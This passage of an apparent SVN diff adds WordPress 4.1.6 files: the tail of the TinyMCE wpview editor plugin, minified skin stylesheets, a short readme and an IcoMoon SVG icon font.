+						dom.removeClass( view, 'wpview-cursor-hide' );
+					} else {
+						dom.addClass( view, 'wpview-cursor-hide' );
+					}
+				}, 500 );
+			// If the cursor lands anywhere else in the view, set the cursor before it.
+			// Only try this once to prevent a loop. (You never know.)
+			} else if ( ! getParent( event.element, 'wpview-clipboard' ) && ! setViewCursorTries ) {
+				deselect();
+				setViewCursorTries++;
+				setViewCursor( true, view );
+			}
+		}
+	});
+
+	editor.on( 'BeforeExecCommand', function() {
+		var node = editor.selection.getNode(),
+			view;
+
+		if ( node && ( ( execCommandBefore = node.className === 'wpview-selection-before' ) || node.className === 'wpview-selection-after' ) && ( view = getView( node ) ) ) {
+			handleEnter( view, execCommandBefore );
+			execCommandView = view;
+		}
+	});
+
+	editor.on( 'ExecCommand', function() {
+		var toSelect, node;
+
+		if ( selected ) {
+			toSelect = selected;
+			deselect();
+			select( toSelect );
+		}
+
+		if ( execCommandView ) {
+			node = execCommandView[ execCommandBefore ? 'previousSibling' : 'nextSibling' ];
+
+			if ( node && node.nodeName === 'P' && editor.dom.isEmpty( node ) ) {
+				editor.dom.remove( node );
+				setViewCursor( execCommandBefore, execCommandView );
+			}
+
+			execCommandView = false;
+		}
+	});
+
+	editor.on( 'ResolveName', function( event ) {
+		if ( editor.dom.hasClass( event.target, 'wpview-wrap' ) ) {
+			event.name = editor.dom.getAttrib( event.target, 'data-wpview-type' ) || 'wpview';
+			event.stopPropagation();
+		} else if ( getView( event.target ) ) {
+			event.preventDefault();
+			event.stopPropagation();
+		}
+	});
+
+	return {
+		getViewText: getViewText,
+		setViewText: setViewText,
+		getView: getView
+	};
+});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/skins/lightgray/content.inline.min.css
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/skins/lightgray/content.inline.min.css	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/skins/lightgray/content.inline.min.css	(revision 33402)
@@ -0,0 +1,1 @@
+.mce-object{border:1px dotted #3A3A3A;background:#d5d5d5 url(img/object.gif) no-repeat center}.mce-pagebreak{cursor:default;display:block;border:0;width:100%;height:5px;border:1px dashed #666;margin-top:15px;page-break-before:always}@media print{.mce-pagebreak{border:0}}.mce-item-anchor{cursor:default;display:inline-block;-webkit-user-select:all;-webkit-user-modify:read-only;-moz-user-select:all;-moz-user-modify:read-only;user-select:all;user-modify:read-only;width:9px!important;height:9px!important;border:1px dotted #3A3A3A;background:#d5d5d5 url(img/anchor.gif) no-repeat center}.mce-nbsp{background:#AAA}hr{cursor:default}.mce-match-marker{background:#AAA;color:#fff}.mce-match-marker-selected{background:#39f;color:#fff}.mce-spellchecker-word{border-bottom:2px solid red;cursor:default}.mce-spellchecker-grammar{border-bottom:2px solid green;cursor:default}.mce-item-table,.mce-item-table td,.mce-item-table th,.mce-item-table caption{border:1px dashed #BBB}td.mce-item-selected,th.mce-item-selected{background-color:#39f!important}.mce-edit-focus{outline:1px dotted #333}
Index: /tags/4.1.6/src/wp-includes/js/tinymce/skins/lightgray/content.min.css
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/skins/lightgray/content.min.css	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/skins/lightgray/content.min.css	(revision 33402)
@@ -0,0 +1,1 @@
+body{background-color:#FFF;color:#000;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:11px;scrollbar-3dlight-color:#F0F0EE;scrollbar-arrow-color:#676662;scrollbar-base-color:#F0F0EE;scrollbar-darkshadow-color:#DDD;scrollbar-face-color:#E0E0DD;scrollbar-highlight-color:#F0F0EE;scrollbar-shadow-color:#F0F0EE;scrollbar-track-color:#F5F5F5}td,th{font-family:Verdana,Arial,Helvetica,sans-serif;font-size:11px}.mce-object{border:1px dotted #3A3A3A;background:#d5d5d5 url(img/object.gif) no-repeat center}.mce-pagebreak{cursor:default;display:block;border:0;width:100%;height:5px;border:1px dashed #666;margin-top:15px;page-break-before:always}@media print{.mce-pagebreak{border:0}}.mce-item-anchor{cursor:default;display:inline-block;-webkit-user-select:all;-webkit-user-modify:read-only;-moz-user-select:all;-moz-user-modify:read-only;user-select:all;user-modify:read-only;width:9px!important;height:9px!important;border:1px dotted #3A3A3A;background:#d5d5d5 url(img/anchor.gif) no-repeat center}.mce-nbsp{background:#AAA}hr{cursor:default}.mce-match-marker{background:#AAA;color:#fff}.mce-match-marker-selected{background:#39f;color:#fff}.mce-spellchecker-word{border-bottom:2px solid red;cursor:default}.mce-spellchecker-grammar{border-bottom:2px solid green;cursor:default}.mce-item-table,.mce-item-table td,.mce-item-table th,.mce-item-table caption{border:1px dashed #BBB}td.mce-item-selected,th.mce-item-selected{background-color:#39f!important}.mce-edit-focus{outline:1px dotted #333}
Index: /tags/4.1.6/src/wp-includes/js/tinymce/skins/lightgray/fonts/readme.md
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/skins/lightgray/fonts/readme.md	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/skins/lightgray/fonts/readme.md	(revision 33402)
@@ -0,0 +1,1 @@
+Icons are generated and provided by the http://icomoon.io service.
Index: /tags/4.1.6/src/wp-includes/js/tinymce/skins/lightgray/fonts/tinymce-small.svg
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/skins/lightgray/fonts/tinymce-small.svg	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/skins/lightgray/fonts/tinymce-small.svg	(revision 33402)
@@ -0,0 +1,62 @@
+<?xml version="1.0" standalone="no"?>
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
+<svg xmlns="http://www.w3.org/2000/svg">
+<metadata>Generated by IcoMoon</metadata>
+<defs>
+<font id="tinymce-small" horiz-adv-x="512">
+<font-face units-per-em="512" ascent="480" descent="-32" />
+<missing-glyph horiz-adv-x="512" />
+<glyph unicode="&#x20;" d="" horiz-adv-x="256" />
+<glyph unicode="&#xe000;" d="M480 40v295.969l-111.969 112.031h-296.031c-22.091 0-40-17.908-40-40v-368c0-22.092 17.909-40 40-40h368c22.092 0 40 17.908 40 40zM288 384h32v-96h-32v96zM352 64h-192v127.941c0.017 0.021 0.038 0.041 0.058 0.059h191.885c0.020-0.018 0.041-0.038 0.058-0.059l-0.001-127.941zM416 64h-32v128c0 17.6-14.4 32-32 32h-192c-17.6 0-32-14.4-32-32v-128h-32v320h32v-96c0-17.6 14.4-32 32-32h160c17.6 0 32 14.4 32 32v85.505l64-64.036v-245.469z" />
+<glyph unicode="&#xe001;" d="M425.373 358.627l-66.746 66.745c-12.444 12.446-37.027 22.628-54.627 22.628h-208c-17.6 0-32-14.4-32-32v-384c0-17.6 14.4-32 32-32h320c17.6 0 32 14.4 32 32v272c0 17.6-10.183 42.182-22.627 54.627zM402.745 336.001c3.396-3.398 6.896-9.581 9.447-16.001h-92.192v92.193c6.42-2.55 12.602-6.050 16-9.448l66.745-66.744zM415.942 32h-319.885c-0.020 0.017-0.041 0.038-0.057 0.058v383.885c0.017 0.020 0.038 0.041 0.057 0.057h191.943v-128h128v-255.942c-0.017-0.020-0.038-0.041-0.058-0.058z" />
+<glyph unicode="&#xe002;" d="M512 183.771v80.458l-79.572 7.957c-4.093 15.021-10.044 29.274-17.605 42.49l52.298 63.919-56.526 56.525-63.918-52.298c-13.217 7.562-27.471 13.513-42.491 17.604l-7.957 79.574h-80.458l-7.957-79.573c-15.021-4.093-29.274-10.043-42.49-17.604l-63.919 52.297-56.525-56.525 52.298-63.918c-7.562-13.216-13.513-27.47-17.605-42.49l-79.573-7.958v-80.458l79.573-7.957c4.093-15.021 10.043-29.274 17.605-42.491l-52.298-63.918 56.524-56.524 63.919 52.298c13.216-7.562 27.47-13.514 42.49-17.605l7.958-79.574h80.458l7.957 79.572c15.021 4.093 29.274 10.044 42.491 17.605l63.918-52.298 56.524 56.524-52.298 63.918c7.562 13.217 13.514 27.471 17.605 42.49l79.574 7.96zM352 192l-64-64h-64l-64 64v64l64 64h64l64-64v-64z" />
+<glyph unicode="&#xe003;" d="M32 384h448v-64h-448zM32 192h448v-64h-448zM32 288h288v-64h-288zM32 96h288v-64h-288z" />
+<glyph unicode="&#xe004;" d="M32 384h448v-64h-448zM32 192h448v-64h-448zM128 288h256v-64h-256zM128 96h256v-64h-256z" />
+<glyph unicode="&#xe005;" d="M32 384h448v-64h-448zM32 192h448v-64h-448zM192 288h288v-64h-288zM192 96h288v-64h-288z" />
+<glyph unicode="&#xe006;" d="M32 384h448v-64h-448zM32 192h448v-64h-448zM32 288h448v-64h-448zM32 96h448v-64h-448z" />
+<glyph unicode="&#xe007;" d="M432.204 144.934c-23.235 23.235-53.469 34.002-80.541 31.403l-31.663 31.663 96 96c0 0 64 64 0 128l-160-160-160 160c-64-64 0-128 0-128l96-96-31.663-31.663c-27.072 2.599-57.305-8.169-80.54-31.403-37.49-37.49-42.556-93.209-11.313-124.45 31.241-31.241 86.96-26.177 124.45 11.313 23.235 23.234 34.001 53.469 31.403 80.54l31.663 31.663 31.664-31.664c-2.598-27.072 8.168-57.305 31.403-80.539 37.489-37.49 93.209-42.556 124.449-11.313 31.244 31.241 26.178 86.959-11.312 124.45zM176.562 100.711c-1.106-12.166-7.51-24.913-17.57-34.973-11.106-11.107-25.54-17.738-38.609-17.738-5.262 0-12.649 1.114-17.958 6.424-10.703 10.702-8.688 36.566 11.313 56.568 11.106 11.107 25.54 17.738 38.609 17.738 5.262 0 12.649-1.114 17.958-6.424 6.556-6.555 6.735-16.344 6.257-21.595zM256 176c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zM409.576 54.424c-5.31-5.31-12.696-6.424-17.958-6.424-13.069 0-27.503 6.631-38.609 17.738-10.061 10.060-16.464 22.807-17.569 34.973-0.479 5.251-0.3 15.040 6.257 21.596 5.309 5.311 12.695 6.424 17.958 6.424 13.068 0 27.503-6.631 38.608-17.737 20.002-20.004 22.016-45.868 11.313-56.57z" />
+<glyph unicode="&#xe008;" d="M352 288v80c0 8.8-7.2 16-16 16h-80v32c0 17.6-14.4 32-32 32h-64c-17.602 0-32-14.4-32-32v-32h-80c-8.801 0-16-7.2-16-16v-256c0-8.8 7.199-16 16-16h112v-96h192l96 96v192h-96zM160 415.943c0.017 0.019 0.036 0.039 0.057 0.057h63.884c0.021-0.018 0.041-0.038 0.059-0.057v-31.943h-64v31.943zM96 320v32h192v-32h-192zM352 45.255v50.745h50.745l-50.745-50.745zM416 128h-96v-96h-128v224h224v-128z" />
+<glyph unicode="&#xe009;" d="M444 288h-28v128h32v32h-160v-32h32v-128h-128v128h32v32h-160v-32h32v-128h-28c-19.8 0-36-16.2-36-36v-216c0-19.8 16.2-36 36-36h120c19.8 0 36 16.2 36 36v156h64v-156c0-19.8 16.2-36 36-36h120c19.8 0 36 16.2 36 36v216c0 19.8-16.2 36-36 36zM174 32h-92c-9.9 0-18 7.2-18 16s8.1 16 18 16h92c9.9 0 18-7.2 18-16s-8.1-16-18-16zM272 224h-32c-8.8 0-16 7.2-16 16s7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16zM430 32h-92c-9.9 0-18 7.2-18 16s8.1 16 18 16h92c9.9 0 18-7.2 18-16s-8.1-16-18-16z" />
+<glyph unicode="&#xe00a;" d="M192 416h288v-64h-288zM192 256h288v-64h-288zM192 96h288v-64h-288zM64 384c0-17.673 14.327-32 32-32s32 14.327 32 32c0 17.673-14.327 32-32 32-17.673 0-32-14.327-32-32zM64 224c0-17.673 14.327-32 32-32s32 14.327 32 32c0 17.673-14.327 32-32 32-17.673 0-32-14.327-32-32zM64 64c0-17.673 14.327-32 32-32s32 14.327 32 32c0 17.673-14.327 32-32 32-17.673 0-32-14.327-32-32z" />
+<glyph unicode="&#xe00b;" d="M192 416h288v-64h-288zM192 256h288v-64h-288zM192 96h288v-64h-288zM160 215v73h-32v160h-64v-32h32v-128h-32v-32h64v-25l-64-30v-73h64v-32h-64v-32h64v-32h-64v-32h96v160h-64v25z" />
+<glyph unicode="&#xe00c;" d="M32 384h448v-64h-448zM192 192h288v-64h-288zM192 288h288v-64h-288zM32 96h448v-64h-448zM32 288l112-80-112-80z" />
+<glyph unicode="&#xe00d;" d="M32 384h448v-64h-448zM32 192h288v-64h-288zM32 288h288v-64h-288zM32 96h448v-64h-448zM480 288l-112-80 112-80z" />
+<glyph unicode="&#xe00e;" d="M128.214 267.637c52.9 0 95.786-45.585 95.786-101.819 0-56.232-42.886-101.818-95.786-101.818-52.901 0-95.786 45.585-95.786 101.818l-0.428 14.546c0 112.465 85.77 203.636 191.572 203.636v-58.182c-36.55 0-70.913-15.13-96.758-42.602-4.977-5.289-9.517-10.917-13.612-16.828 4.892 0.82 9.903 1.249 15.012 1.249zM384.214 267.637c52.9 0 95.786-45.585 95.786-101.819 0-56.232-42.886-101.818-95.786-101.818-52.901 0-95.786 45.585-95.786 101.818l-0.428 14.546c0 112.465 85.77 203.636 191.572 203.636v-58.182c-36.55 0-70.913-15.13-96.758-42.602-4.978-5.289-9.518-10.917-13.612-16.828 4.892 0.82 9.903 1.249 15.012 1.249z" />
+<glyph unicode="&#xe00f;" d="M352 0c29.5 99.5 67.453 227.633-128 223.048v-111.048l-168.001 168 168.001 168v-108.663c234.046 6.1 272-179.337 128-339.337z" />
+<glyph unicode="&#xe010;" d="M288 339.337v108.663l168.001-168-168.001-168v111.048c-195.453 4.585-157.5-123.548-128-223.048-144 160-106.046 345.437 128 339.337z" />
+<glyph unicode="&#xe011;" d="M463.637 364.892l-66.745 66.744c-10.552 10.552-24.616 16.364-39.599 16.364s-29.047-5.812-39.598-16.363l-82.746-82.745c-21.834-21.834-21.834-57.362 0-79.196l1.373-1.373 33.941 33.941-1.373 1.373c-3.066 3.066-3.066 8.247 0 11.313l82.746 82.746c2.005 2.004 4.404 2.304 5.656 2.304s3.651-0.299 5.656-2.305l66.745-66.744c3.066-3.067 3.066-8.249 0.001-11.314l-82.747-82.747c-2.004-2.004-4.403-2.304-5.655-2.304s-3.651 0.3-5.656 2.306l-1.373 1.373-33.94-33.942 1.371-1.371c10.553-10.554 24.615-16.364 39.6-16.364s29.047 5.812 39.598 16.363l82.747 82.746c21.831 21.833 21.831 57.36-0.002 79.195zM275.678 179.678l-33.941-33.941 1.373-1.373c2.004-2.004 2.305-4.403 2.305-5.655 0-1.253-0.299-3.651-2.303-5.657l-82.747-82.745c-2.005-2.005-4.405-2.305-5.657-2.305s-3.652 0.3-5.657 2.305l-66.746 66.743c-2.005 2.005-2.305 4.405-2.305 5.657s0.299 3.65 2.305 5.656l82.745 82.744c2.005 2.006 4.405 2.306 5.657 2.306s3.652-0.3 5.657-2.306l1.373-1.371 33.941 33.94-1.373 1.373c-10.552 10.552-24.615 16.363-39.598 16.363s-29.046-5.812-39.598-16.363l-82.744-82.743c-10.553-10.552-16.365-24.617-16.365-39.599s5.812-29.047 16.363-39.599l66.745-66.745c10.553-10.551 24.616-16.363 39.599-16.363s29.046 5.812 39.598 16.363l82.747 82.746c10.552 10.552 16.361 24.615 16.361 39.598s-5.812 29.047-16.363 39.598l-1.372 1.373zM176 125c-4.862 0-9.725 1.855-13.435 5.564-7.42 7.42-7.42 19.449 0 26.869l160 160c7.42 7.42 19.448 7.42 26.868 0 7.422-7.42 7.422-19.45 0-26.87l-160-160c-3.708-3.708-8.571-5.563-13.433-5.563z" />
+<glyph unicode="&#xe012;" d="M463.637 364.892l-66.745 66.744c-10.552 10.552-24.616 16.364-39.599 16.364s-29.047-5.812-39.598-16.363l-82.746-82.745c-21.834-21.834-21.834-57.362 0-79.196l1.373-1.373 33.941 33.941-1.373 1.373c-3.066 3.066-3.066 8.247 0 11.313l82.746 82.746c2.005 2.004 4.404 2.304 5.656 2.304s3.651-0.299 5.656-2.305l66.745-66.744c3.066-3.067 3.066-8.249 0.001-11.314l-82.747-82.747c-2.004-2.004-4.403-2.304-5.655-2.304s-3.651 0.3-5.656 2.306l-1.373 1.373-33.94-33.942 1.371-1.371c10.553-10.554 24.615-16.364 39.6-16.364s29.047 5.812 39.598 16.363l82.747 82.746c21.831 21.833 21.831 57.36-0.002 79.195zM275.678 179.678l-33.941-33.941 1.373-1.373c2.004-2.004 2.305-4.403 2.305-5.655 0-1.253-0.299-3.651-2.303-5.657l-82.747-82.745c-2.005-2.005-4.405-2.305-5.657-2.305s-3.652 0.3-5.657 2.305l-66.746 66.743c-2.005 2.005-2.305 4.405-2.305 5.657s0.299 3.65 2.305 5.656l82.745 82.744c2.005 2.006 4.405 2.306 5.657 2.306s3.652-0.3 5.657-2.306l1.373-1.371 33.941 33.94-1.373 1.373c-10.552 10.552-24.615 16.363-39.598 16.363s-29.046-5.812-39.598-16.363l-82.744-82.743c-10.553-10.552-16.365-24.617-16.365-39.599s5.812-29.047 16.363-39.599l66.745-66.745c10.553-10.551 24.616-16.363 39.599-16.363s29.046 5.812 39.598 16.363l82.747 82.746c10.552 10.552 16.361 24.615 16.361 39.598s-5.812 29.047-16.363 39.598l-1.372 1.373zM400 61c-4.862 0-9.725 1.854-13.435 5.565l-64 63.999c-7.422 7.42-7.422 19.449 0 26.869 7.42 7.422 19.448 7.422 26.868 0l64-64c7.422-7.42 7.422-19.448 0-26.868-3.708-3.711-8.571-5.565-13.433-5.565zM304 0c-8.837 0-16 7.163-16 16v64c0 8.837 7.163 16 16 16s16-7.163 16-16v-64c0-8.837-7.163-16-16-16zM464 160h-64c-8.837 0-16 7.163-16 16s7.163 16 16 16h64c8.837 0 16-7.163 16-16s-7.163-16-16-16zM112 387c4.862 0 9.725-1.854 13.435-5.565l64-64c7.421-7.42 7.421-19.449 0-26.869-7.42-7.422-19.449-7.422-26.869 0l-64 64c-7.421 7.42-7.421 19.449 0 26.869 3.709 3.711 8.572 5.565 13.434 5.565zM208 448c8.837 0 16-7.163 16-16v-64c0-8.837-7.163-16-16-16s-16 7.163-16 16v64c0 8.837 7.163 16 16 16zM48 288h64c8.837 0 16-7.163 16-16s-7.163-16-16-16h-64c-8.837 0-16 7.163-16 16s7.163 16 16 16z" />
+<glyph unicode="&#xe013;" d="M128 448v-448l128 128 128-128v448h-256zM352 85.255l-96 96-96-96v330.745h192v-330.745z" />
+<glyph unicode="&#xe014;" d="M448 416h-384c-17.6 0-32-14.4-32-32v-320c0-17.6 14.4-32 32-32h384c17.6 0 32 14.4 32 32v320c0 17.6-14.4 32-32 32zM448 64.058c-0.006-0.007-0.015-0.014-0.021-0.021l-95.979 159.963-80-64-112 144-95.984-239.958c-0.005 0.005-0.011 0.011-0.016 0.016v319.885c0.017 0.020 0.038 0.041 0.057 0.057h383.885c0.020-0.017 0.041-0.038 0.058-0.058v-319.884zM320 304c0-26.51 21.49-48 48-48s48 21.49 48 48c0 26.51-21.49 48-48 48-26.51 0-48-21.49-48-48z" />
+<glyph unicode="&#xe015;" d="M448 416h-384c-17.6 0-32-14.4-32-32v-320c0-17.6 14.4-32 32-32h384c17.6 0 32 14.4 32 32v320c0 17.6-14.4 32-32 32zM128 64h-64v64h64v-64zM128 192h-64v64h64v-64zM128 320h-64v64h64v-64zM352 64h-192v320h192v-320zM448 64h-64v64h64v-64zM448 192h-64v64h64v-64zM448 320h-64v64h64v-64zM192 320v-192l144 96z" />
+<glyph unicode="&#xe016;" d="M224 128h64v-64h-64v64zM352 352c17.673 0 32-14.327 32-32v-83l-114-77h-46v32l96 64v32h-160v64h192zM256 448c-59.833 0-116.083-23.3-158.392-65.608-42.307-42.309-65.608-98.559-65.608-158.392 0-59.832 23.301-116.084 65.608-158.392 42.309-42.308 98.559-65.608 158.392-65.608 59.832 0 116.084 23.3 158.392 65.608 42.308 42.308 65.608 98.56 65.608 158.392 0 59.833-23.3 116.083-65.608 158.392-42.308 42.308-98.56 65.608-158.392 65.608z" />
+<glyph unicode="&#xe017;" d="M208 128l-96 96 96 96-32 32-128-128 128-128zM336 352l-32-32 96-96-96-96 32-32 128 128z" />
+<glyph unicode="&#xe018;" d="M38.899 327.688l40.707-25.441c25.401 40.557 64.394 71.727 110.604 87.123l-15.183 45.547c-56.874-18.949-104.864-57.313-136.128-107.229zM336.973 434.917l-15.183-45.547c46.211-15.396 85.202-46.566 110.604-87.124l40.706 25.441c-31.263 49.917-79.253 88.281-136.127 107.23zM303.987 127.996c-2.404 0-4.846 0.545-7.143 1.693l-72.844 36.422v105.889c0 8.836 7.164 16 16 16s16-7.164 16-16v-86.111l55.155-27.578c7.903-3.951 11.107-13.562 7.155-21.466-2.802-5.607-8.454-8.848-14.323-8.849zM256 384c-106.039 0-192-85.961-192-192s85.961-192 192-192c106.039 0 192 85.961 192 192 0 106.039-85.961 192-192 192zM256 48c-79.529 0-144 64.471-144 144s64.471 144 144 144c79.529 0 144-64.471 144-144 0-79.529-64.471-144-144-144z" />
+<glyph unicode="&#xe019;" d="M32 252.127c22.659 24.96 48.581 46.18 76.636 62.562 45.166 26.372 96.123 40.311 147.364 40.311 51.24 0 102.198-13.939 147.363-40.312 28.056-16.382 53.978-37.602 76.637-62.562v58.716c-16.505 14.059-34.062 26.57-52.434 37.297-52.503 30.657-111.829 46.861-171.566 46.861s-119.064-16.204-171.567-46.86c-18.371-10.727-35.928-23.239-52.433-37.298v-58.715zM256 320c-91.598 0-172.919-50.278-224-128 51.081-77.724 132.402-128 224-128 91.598 0 172.919 50.276 224 128-51.081 77.722-132.402 128-224 128zM256 224c0-17.673-14.327-32-32-32s-32 14.327-32 32c0 17.674 14.327 32 32 32s32-14.326 32-32zM364.033 131.669c-33.717-19.687-70.064-29.669-108.033-29.669s-74.316 9.982-108.033 29.669c-25.777 15.052-49.308 35.655-69.057 60.331 19.749 24.675 43.28 45.279 69.058 60.33 6.638 3.876 13.379 7.37 20.213 10.491-5.256-11.871-8.181-25.004-8.181-38.821 0-53.020 42.981-96 96-96 53.020 0 96 42.98 96 96 0 13.817-2.925 26.95-8.18 38.821 6.834-3.122 13.575-6.615 20.213-10.491 25.777-15.051 49.308-35.655 69.058-60.33-19.749-24.676-43.28-45.279-69.058-60.331z" />
+<glyph unicode="&#xe01a;" d="M325.584 338.083c-12.306 40.981-14.438 45.917-53.584 45.917h-32c-39.809 0-41.332-5.076-54.209-48 0-0.001 0-0.001-0.001-0.002l-71.999-239.998h56.818l28.8 96h113.183l28.8-96h56.815l-72.623 242.083zM218.609 256l19.2 68c5.043 16.809 18.19 15 18.19 15s13.147 1.809 18.19-15h0.002l19.2-68h-74.782z" />
+<glyph unicode="&#xe01b;" d="M32 384v-352h448v352h-448zM192 160v64h128v-64h-128zM320 128v-64h-128v64h128zM320 320v-64h-128v64h128zM160 320v-64h-96v64h96zM64 224h96v-64h-96v64zM352 224h96v-64h-96v64zM352 256v64h96v-64h-96zM64 128h96v-64h-96v64zM352 64v64h96v-64h-96z" />
+<glyph unicode="&#xe01c;" d="M32 256h448v-64h-448z" />
+<glyph unicode="&#xe01d;" d="M32 96h256v-64h-256v64zM384 384h-110.279l-91.883-256h-66.144l91.881 256h-111.575v64h288v-64zM464.887 32l-64.887 64.887-64.887-64.887-31.113 31.113 64.887 64.887-64.887 64.887 31.113 31.113 64.887-64.887 64.887 64.887 31.113-31.113-64.887-64.887 64.887-64.887-31.113-31.113z" />
+<glyph unicode="&#xe01e;" d="M384 25v-25h64v-32h-96v73l64 30v25h-64v32h96v-73zM338 352h-68l-94-94-94 94h-68l128-128-128-128h68l94 94 94-94h68l-128 128z" />
+<glyph unicode="&#xe01f;" d="M384 377v-25h64v-32h-96v73l64 30v25h-64v32h96v-73zM338 352h-68l-94-94-94 94h-68l128-128-128-128h68l94 94 94-94h68l-128 128z" />
+<glyph unicode="&#xe020;" d="M352 64v18.502c75.674 30.814 128 96.91 128 173.498 0 106.039-100.288 192-224 192s-224-85.961-224-192c0-76.588 52.327-142.684 128-173.498v-18.502h-96l-32 48v-112h160v111.406c-50.45 25.681-85.333 80.77-85.333 144.594 0 88.366 66.859 160 149.333 160 82.474 0 149.333-71.634 149.333-160 0-63.824-34.883-118.913-85.333-144.594v-111.406h160v112l-32-48h-96z" />
+<glyph unicode="&#xe021;" d="M256 410c49.683 0 96.391-19.347 131.521-54.478s54.479-81.839 54.479-131.522-19.348-96.391-54.479-131.521-81.838-54.479-131.521-54.479-96.391 19.348-131.522 54.479-54.478 81.838-54.478 131.521 19.347 96.391 54.478 131.522 81.839 54.478 131.522 54.478zM256 448c-123.712 0-224-100.288-224-224s100.288-224 224-224 224 100.288 224 224-100.288 224-224 224v0zM160 288c0-17.673 14.327-32 32-32s32 14.327 32 32c0 17.673-14.327 32-32 32-17.673 0-32-14.327-32-32zM288 288c0-17.673 14.327-32 32-32s32 14.327 32 32c0 17.673-14.327 32-32 32-17.673 0-32-14.327-32-32zM256 152c-50.92 0-96.28 18.437-125.583 47.164 11.563-58.804 63.389-103.164 125.583-103.164 62.194 0 114.020 44.36 125.584 103.164-29.304-28.727-74.664-47.164-125.584-47.164z" />
+<glyph unicode="&#xe022;" d="M128 416h256v-64h-256v64zM448 320h-384c-17.6 0-32-14.4-32-32v-128c0-17.6 14.398-32 32-32h64v-96h256v96h64c17.6 0 32 14.4 32 32v128c0 17.6-14.4 32-32 32zM352 64h-192v128h192v-128zM455.2 272c0-12.813-10.387-23.2-23.199-23.2s-23.201 10.387-23.201 23.2 10.389 23.2 23.201 23.2c12.813 0 23.199-10.387 23.199-23.2z" />
+<glyph unicode="&#xe023;" d="M240 288l-96 96 64 64h-176v-176l64 64 96-96zM320 240l96 96 64-64v176h-176l64-64-96-96zM272 160l96-96-64-64h176v176l-64-64-96 96zM192 208l-96-96-64 64v-176h176l-64 64 96 96z" />
+<glyph unicode="&#xe024;" d="M480 416v32h-96c-17.601 0-32-14.4-32-32v-160c0-7.928 2.929-15.201 7.748-20.807l-151.748-130.193-71 74-41-35 112-144 208 224h64v32h-96v160h96zM128 224h32v192c0 17.6-14.4 32-32 32h-64c-17.6 0-32-14.4-32-32v-192h32v96h64v-96zM64 352v64h64v-64h-64zM320 256v48c0 17.6-4.4 32-22 32 17.6 0 22 14.4 22 32v48c0 17.6-14.4 32-32 32h-96v-224h96c17.6 0 32 14.4 32 32zM224 416h64v-64h-64v64zM224 320h64v-64h-64v64z" />
+<glyph unicode="&#xe025;" d="M224 224h-64v64h64v64h64v-64h64v-64h-64v-64h-64v64zM480 192v-160h-448v160h64v-96h320v96h64z" />
+<glyph unicode="&#xe026;" d="M256 288h64v-32h-64zM256 96h64v-32h-64zM288 192h64v-32h-64zM384 192v-96h-32v-32h64v128zM192 192h64v-32h-64zM160 96h64v-32h-64zM160 288h64v-32h-64zM96 384v-128h32v96h32v32zM352 256h64v128h-32v-96h-32zM32 448v-448h448v448h-448zM448 32h-384v384h384v-384zM96 192v-128h32v96h32v32zM288 384h64v-32h-64zM192 384h64v-32h-64z" />
+<glyph unicode="&#xe027;" d="M408 448l8-192h-320l8 192h16l8-160h256l8 160h16zM104 0l-8 160h320l-8-160h-16l-8 128h-256l-8-128h-16zM32 224h64v-32h-64zM128 224h64v-32h-64zM224 224h64v-32h-64zM320 224h64v-32h-64zM416 224h64v-32h-64z" />
+<glyph unicode="&#xe028;" d="M288 448c123.712 0 224-100.288 224-224s-100.288-224-224-224v48c47.012 0 91.209 18.307 124.451 51.549 33.242 33.242 51.549 77.439 51.549 124.451 0 47.011-18.307 91.209-51.549 124.451-33.242 33.242-77.439 51.549-124.451 51.549-47.011 0-91.209-18.307-124.451-51.549-25.57-25.569-42.291-57.623-48.653-92.451h93.104l-112-128-112 128h82.285c15.53 108.551 108.869 192 221.715 192zM384 256v-64h-128v160h64v-96z" />
+<glyph unicode="&#xe02a;" d="M312.721 232.909c24.037 19.075 39.279 47.428 39.279 79.091 0 57.438-50.145 104-112 104h-112v-384h144c61.856 0 112 46.562 112 104 0 44.098-29.559 81.781-71.279 96.909zM192 328c0 13.255 10.745 24 24 24h33.602c21.207 0 38.398-21.49 38.398-48s-17.191-48-38.398-48h-57.602v72zM273.6 96h-57.6c-13.255 0-24 10.745-24 24v72h81.6c21.209 0 38.4-21.49 38.4-48s-17.191-48-38.4-48z" />
+<glyph unicode="&#xe02b;" d="M416 416v-32h-72l-128-320h72v-32h-224v32h72l128 320h-72v32h224z" />
+<glyph unicode="&#xe02c;" d="M96 64h288v-32h-288v32zM320 416v-192c0-15.656-7.35-30.812-20.695-42.676-15.471-13.751-36.534-21.324-59.305-21.324-22.772 0-43.834 7.573-59.304 21.324-13.346 11.864-20.696 27.020-20.696 42.676v192h-64v-192c0-70.691 64.471-128 144-128s144 57.309 144 128v192h-64z" />
+<glyph unicode="&#xe02d;" d="M480 224h-132.938c-25.039 17.71-57.215 27.43-91.062 27.43-44.603 0-82.286 25.121-82.286 54.856 0 29.735 37.683 54.857 82.286 54.857 37.529 0 70.154-17.788 79.56-41.143h56.508c-3.965 25.322-18.79 48.984-42.029 66.413-25.44 19.080-58.838 29.587-94.039 29.587-35.202 0-68.598-10.507-94.037-29.587-27.394-20.545-43.106-49.751-43.106-80.127s15.712-59.582 43.106-80.127c0.978-0.733 1.971-1.449 2.973-2.158h-132.936v-32h256.266c29.104-8.553 50.021-28.135 50.021-50.286 0-29.734-37.684-54.855-82.286-54.855-37.53 0-70.154 17.787-79.559 41.143h-56.508c3.965-25.32 18.791-48.984 42.030-66.413 25.438-19.082 58.834-29.59 94.036-29.59 35.201 0 68.599 10.508 94.037 29.587 27.395 20.545 43.104 49.751 43.104 80.127 0 17.649-5.327 34.896-15.147 50.286h102.006v32z" />
